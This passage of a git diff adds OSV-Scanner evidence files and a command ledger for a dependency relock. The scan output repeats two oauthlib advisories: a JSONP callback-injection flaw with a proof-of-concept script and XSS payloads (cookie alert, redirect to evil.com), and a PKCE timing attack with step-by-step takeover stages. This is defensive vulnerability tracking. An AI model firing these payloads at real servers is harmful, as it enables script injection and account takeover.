http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location='https://evil.com/'//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval('malicious')//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location='https://evil.com/'//();\n [200] Content-Type: (none) Body: eval('malicious')//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker's payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint's response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.", + "id": "GHSA-hj66-6f7g-4r5v", + "modified": "2026-09-29T18:00:06.461704652Z", + "published": "2026-09-29T17:53:41Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/pull/951" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c" + }, + { + "type": "PACKAGE", + "url": "https://github.com/oauthlib/oauthlib" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", + "type": "CVSS_V3" + } + ], + "summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-xpv3-w29h-x7cv/GHSA-xpv3-w29h-x7cv.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "oauthlib", + "purl": "pkg:pypi/oauthlib" + }, + "ranges": [ + { + "events": [ + { + "introduced": "3.0.0" + }, + { + "fixed": "4.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "3.0.0", + "3.0.1", + "3.0.2", + "3.1.0", + "3.1.1", + "3.2.0", + "3.2.1", + "3.2.2", + "3.3.0", + "3.3.1" + ] + } + ], + "aliases": [ + "CVE-2026-49265" + ], + "database_specific": { + "cwe_ids": [ + "CWE-208" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T17:56:31Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "## Summary\n\nA timing side-channel vulnerability exists in the PKCE (RFC 7636) implementation \nof the Authorization Code Grant flow. The `code_challenge_method_plain` function \nuses Python's standard `==` operator for string comparison instead of a \nconstant-time comparison function, potentially allowing timing-based attacks.\n\n## Affected Component\n\n- File: `oauthlib/oauth2/rfc6749/grant_types/authorization_code.py`\n- Functions: `code_challenge_method_plain`, `code_challenge_method_s256`\n- Vulnerability Type: CWE-208 (Observable Timing Discrepancy)\n\n## Technical Details\n\nPython's `==` operator uses short-circuit evaluation when comparing strings:\n1. Returns `False` immediately if lengths differ\n2. Compares characters left-to-right, stopping at first mismatch\n\nThis means comparison time varies linearly with the length of the common prefix \nbetween the attacker-supplied verifier and the stored challenge, creating a \nmeasurable timing oracle.\n\n## Proof of Concept\n\nTested locally against oauthlib source (network jitter eliminated to isolate \npure Python execution time):\n\n| Input | Result | Time (10M iterations) |\n|---|---|---|\n| Wrong first char (`B` + `A`*49) | Fast reject | 0.34106s |\n| 49 chars correct (`A`*49 + `B`) | Deep compare | 0.37847s |\n| **Difference** | | **0.03741s** |\n\nThe ~37ms delta over 10M iterations corresponds to nanosecond-level differences \nper call, which are statistically exploitable under controlled conditions.\n\n## Attack Scenario\n\n1. Attacker intercepts `authorization_code` via Custom URI Scheme Hijacking\n2. PKCE blocks token request — attacker lacks `code_verifier`\n3. Attacker sends repeated requests to `/token` endpoint measuring response times\n4. Using timing oracle, attacker recovers `code_verifier` character by character\n5. Attacker obtains Access Token → Account Takeover\n\n\u003e **Note:** Practical exploitability is limited due to the single-use nature of \n\u003e authorization codes and real-world network noise. However, the vulnerable \n\u003e pattern should be corrected as a defense-in-depth measure.\n\n## Recommended Fix\n\nReplace `==` with `hmac.compare_digest()` for constant-time comparison:\n\ncr: Elvin Latifli", + "id": "GHSA-xpv3-w29h-x7cv", + "modified": "2026-09-29T18:15:04.747320327Z", + "published": "2026-09-29T17:56:31Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-xpv3-w29h-x7cv" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/pull/963" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/commit/40b0ab56da3682c2484a4b78bbff309f8025d950" + }, + { + "type": "PACKAGE", + "url": "https://github.com/oauthlib/oauthlib" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N", + "type": "CVSS_V3" + } + ], + "summary": "Oauthlib: Timing Attack Vulnerability in PKCE code_verifier Comparison (CWE-208)" + } + ] + } + ] + } + ], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-empty-config.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-empty-config.txt new file mode 100644 index 000000000..3d7c40994 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-candidate-osv-empty-config.txt @@ -0,0 +1,247 @@ +argv: ["rtk", "proxy", "/osv-scanner", "scan", "source", "--config", "/empty-config.toml", "--no-resolve", "--lockfile=requirements.txt:/candidate.lock", "--format", "json"] +cwd: +started_utc: 2026-09-30T15:51:41.901056+00:00 +ended_utc: 2026-09-30T15:51:42.516065+00:00 +exit_code: 1 + +stdout: +{ + "results": [ + { + "source": { + "path": "/candidate.lock", + "type": "lockfile" + }, + "packages": [ + { + "package": { + "name": "oauthlib", + "version": "3.3.1", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "GHSA-hj66-6f7g-4r5v" + ], + "aliases": [ + "CVE-2026-49264", + "GHSA-hj66-6f7g-4r5v" + ], + "max_severity": "6.1" + }, + { + "ids": [ + "GHSA-xpv3-w29h-x7cv" + ], + "aliases": [ + "CVE-2026-49265", + "GHSA-xpv3-w29h-x7cv" + ], + "max_severity": "6.8" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "last_known_affected_version_range": "\u003c= 3.3.1", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-hj66-6f7g-4r5v/GHSA-hj66-6f7g-4r5v.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "oauthlib", + "purl": "pkg:pypi/oauthlib" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0.6.1" + }, + { + "fixed": "4.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "0.6.1", + "0.6.2", + "0.6.3", + "0.7.0", + "0.7.1", + "0.7.2", + "1.0.0", + "1.0.1", + "1.0.2", + "1.0.3", + "1.1.0", + "1.1.1", + "1.1.2", + "2.0.0", + "2.0.1", + "2.0.2", + "2.0.3", + "2.0.4", + "2.0.5", + "2.0.6", + "2.0.7", + "2.1.0", + "3.0.0", + "3.0.1", + "3.0.2", + "3.1.0", + "3.1.1", + "3.2.0", + "3.2.1", + "3.2.2", + "3.3.0", + "3.3.1" + ] + } + ], + "aliases": [ + "CVE-2026-49264" + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T17:53:41Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib's `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = '{}({});'.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + '();'\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`'s context, not the auth server's context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location='https://evil.com/'//\",\n \"eval('malicious')//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location='https://evil.com/'//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval('malicious')//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location='https://evil.com/'//();\n [200] Content-Type: (none) Body: eval('malicious')//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker's payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint's response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.", + "id": "GHSA-hj66-6f7g-4r5v", + "modified": "2026-09-29T18:00:06.461704652Z", + "published": "2026-09-29T17:53:41Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/pull/951" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c" + }, + { + "type": "PACKAGE", + "url": "https://github.com/oauthlib/oauthlib" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", + "type": "CVSS_V3" + } + ], + "summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-xpv3-w29h-x7cv/GHSA-xpv3-w29h-x7cv.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "oauthlib", + "purl": "pkg:pypi/oauthlib" + }, + "ranges": [ + { + "events": [ + { + "introduced": "3.0.0" + }, + { + "fixed": "4.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "3.0.0", + "3.0.1", + "3.0.2", + "3.1.0", + "3.1.1", + "3.2.0", + "3.2.1", + "3.2.2", + "3.3.0", + "3.3.1" + ] + } + ], + "aliases": [ + "CVE-2026-49265" + ], + "database_specific": { + "cwe_ids": [ + "CWE-208" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-29T17:56:31Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "## Summary\n\nA timing side-channel vulnerability exists in the PKCE (RFC 7636) implementation \nof the Authorization Code Grant flow. The `code_challenge_method_plain` function \nuses Python's standard `==` operator for string comparison instead of a \nconstant-time comparison function, potentially allowing timing-based attacks.\n\n## Affected Component\n\n- File: `oauthlib/oauth2/rfc6749/grant_types/authorization_code.py`\n- Functions: `code_challenge_method_plain`, `code_challenge_method_s256`\n- Vulnerability Type: CWE-208 (Observable Timing Discrepancy)\n\n## Technical Details\n\nPython's `==` operator uses short-circuit evaluation when comparing strings:\n1. Returns `False` immediately if lengths differ\n2. Compares characters left-to-right, stopping at first mismatch\n\nThis means comparison time varies linearly with the length of the common prefix \nbetween the attacker-supplied verifier and the stored challenge, creating a \nmeasurable timing oracle.\n\n## Proof of Concept\n\nTested locally against oauthlib source (network jitter eliminated to isolate \npure Python execution time):\n\n| Input | Result | Time (10M iterations) |\n|---|---|---|\n| Wrong first char (`B` + `A`*49) | Fast reject | 0.34106s |\n| 49 chars correct (`A`*49 + `B`) | Deep compare | 0.37847s |\n| **Difference** | | **0.03741s** |\n\nThe ~37ms delta over 10M iterations corresponds to nanosecond-level differences \nper call, which are statistically exploitable under controlled conditions.\n\n## Attack Scenario\n\n1. Attacker intercepts `authorization_code` via Custom URI Scheme Hijacking\n2. PKCE blocks token request — attacker lacks `code_verifier`\n3. Attacker sends repeated requests to `/token` endpoint measuring response times\n4. Using timing oracle, attacker recovers `code_verifier` character by character\n5. Attacker obtains Access Token → Account Takeover\n\n\u003e **Note:** Practical exploitability is limited due to the single-use nature of \n\u003e authorization codes and real-world network noise. However, the vulnerable \n\u003e pattern should be corrected as a defense-in-depth measure.\n\n## Recommended Fix\n\nReplace `==` with `hmac.compare_digest()` for constant-time comparison:\n\ncr: Elvin Latifli", + "id": "GHSA-xpv3-w29h-x7cv", + "modified": "2026-09-29T18:15:04.747320327Z", + "published": "2026-09-29T17:56:31Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-xpv3-w29h-x7cv" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/pull/963" + }, + { + "type": "WEB", + "url": "https://github.com/oauthlib/oauthlib/commit/40b0ab56da3682c2484a4b78bbff309f8025d950" + }, + { + "type": "PACKAGE", + "url": "https://github.com/oauthlib/oauthlib" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N", + "type": "CVSS_V3" + } + ], + "summary": "Oauthlib: Timing Attack Vulnerability in PKCE code_verifier Comparison (CWE-208)" + } + ] + } + ] + } + ], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} + +stderr: +Warning: `source` exists as both a subcommand of OSV-Scanner and as a file on the filesystem. `source` is assumed to be a subcommand here. If you intended for `source` to be an argument to `source`, you must specify `source source` in your command line. +Starting filesystem walk for root: / +Scanned /candidate.lock file and found 174 packages +End status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 33.831219ms elapsed, 33.831299ms wall time diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-commands.json b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-commands.json new file mode 100644 index 000000000..ec7ad207f --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-commands.json @@ -0,0 +1,2017 @@ +{ + "schema_version": 1, + "evidence_class": "local_integration", + "raw_output_policy": { + "retained_public": "Actual stdout/stderr in .txt artifacts and complete native scan JSON. Declared path substitutions, public upstream PoC home-prefix/UUID masking and a public PyPI README JWT-example masking are applied; original bytes and original hashes remain private and unchanged.", + "retained_private": "Original stdout/stderr bytes for every command remain in the owned scratch directory; raw hashes are in the command ledger.", + "placeholders": [ + "", + "", + "", + "", + "", + "", + "", + "" + ], + "sanitization_correction_recorded": true, + "additional_upstream_payload_redaction_counts": { + "urllib3-relock-20260930-candidate-osv-current-config-rescan.json": { + "personal home path": 2 + }, + "urllib3-relock-20260930-candidate-osv-current-config-rescan.txt": { + "personal home path": 2 + }, + "urllib3-relock-20260930-pyjwt-215-pypi.txt": { + "local session identifier": 1, + "public README JWT example": 1 + }, + "urllib3-relock-20260930-pyjwt-advisory-official.txt": { + "personal home path": 2 + }, + "urllib3-relock-20260930-pyjwt-advisory-osv.txt": { + "personal home path": 2 + } + } + }, + "commands": [ + { + "id": "uv-version", + "argv": [ + "rtk", + "proxy", + "uv", + "--version" + ], + "cwd": "", + "started_utc": "2026-09-30T15:44:06.384031+00:00", + "ended_utc": "2026-09-30T15:44:06.416387+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "dd643ebda7165a77a7fe3c9f445ec1a2cfebe1bfe0329015937763dce919c33d", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "dd643ebda7165a77a7fe3c9f445ec1a2cfebe1bfe0329015937763dce919c33d", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-version.txt", + "returned_output_sha256": "8efd87c5c7a972462c1688d06383a5a81a58c78de5d827f68ac2e7ec541ec681" + }, + { + "id": "uv-compile-help", + "argv": [ + "rtk", + "proxy", + "uv", + "pip", + "compile", + "--help" + ], + "cwd": "", + "started_utc": "2026-09-30T15:44:06.417375+00:00", + "ended_utc": "2026-09-30T15:44:06.447113+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "5f8ed04158b910ea54acd0315a0925c94bb8c6749483ef156311fbaf408853aa", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "5f8ed04158b910ea54acd0315a0925c94bb8c6749483ef156311fbaf408853aa", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-compile-help.txt", + "returned_output_sha256": "cdd7acbd96b941d539827c6587697ab2f76a2e1b49227d5e7c42363ca3c0ec26" + }, + { + "id": "uv-release", + "argv": [ + "rtk", + "proxy", + "gh", + "api", + "repos/astral-sh/uv/releases/tags/0.12.17" + ], + "cwd": "", + "started_utc": "2026-09-30T15:44:06.448187+00:00", + "ended_utc": "2026-09-30T15:44:06.808626+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "b3068bd161082a8423cee3b76db6a82d1db4dc8f4ab4ce45fbd6c61ba9922334", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "b3068bd161082a8423cee3b76db6a82d1db4dc8f4ab4ce45fbd6c61ba9922334", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-release.txt", + "returned_output_sha256": "a2aa0212a86e5678bd2c32a27395bb9d1ad4cf445f50e54727fc34e2e9f904e1" + }, + { + "id": "urllib3-release", + "argv": [ + "rtk", + "proxy", + "gh", + "api", + "repos/urllib3/urllib3/releases/tags/2.8.0" + ], + "cwd": "", + "started_utc": "2026-09-30T15:44:06.809788+00:00", + "ended_utc": "2026-09-30T15:44:07.164240+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "df684d87064c37564da2c71d79ac4b5785def759197e1887471e8cdebebc9ea3", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "df684d87064c37564da2c71d79ac4b5785def759197e1887471e8cdebebc9ea3", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-release.txt", + "returned_output_sha256": "c3c73eb2724dafcbcffc7f3bb982ef72c9b887e32f180b0f5f9a64e0b56ca701" + }, + { + "id": "urllib3-tag", + "argv": [ + "rtk", + "proxy", + "gh", + "api", + "repos/urllib3/urllib3/git/ref/tags/2.8.0" + ], + "cwd": "", + "started_utc": "2026-09-30T15:44:07.165596+00:00", + "ended_utc": "2026-09-30T15:44:07.499490+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "2c1e1674c7cb3e8bf158617dd1849420b7668afc8b55bc87848f0e1adfd00260", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "2c1e1674c7cb3e8bf158617dd1849420b7668afc8b55bc87848f0e1adfd00260", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-tag.txt", + "returned_output_sha256": "a659c30ede244f097d299a8d553f31c9d74e48ace5883f8353db3a3e6fe6a6f4" + }, + { + "id": "main-repair-pr546", + "argv": [ + "rtk", + "proxy", + "gh", + "api", + "repos/seathatflowsinourveins/native-agent-stack/pulls/546" + ], + "cwd": "", + "started_utc": "2026-09-30T15:44:07.500501+00:00", + "ended_utc": "2026-09-30T15:44:08.589441+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e2c20ddc09a15c9c3aa687a190ad31cf175224dc5030c4eb79365420d800e270", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "e2c20ddc09a15c9c3aa687a190ad31cf175224dc5030c4eb79365420d800e270", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-main-repair-pr546.txt", + "returned_output_sha256": "8a4239286217070ba23adacd1cb840531d6cc065913ebaa36a03c1a9d2d8bc13" + }, + { + "id": 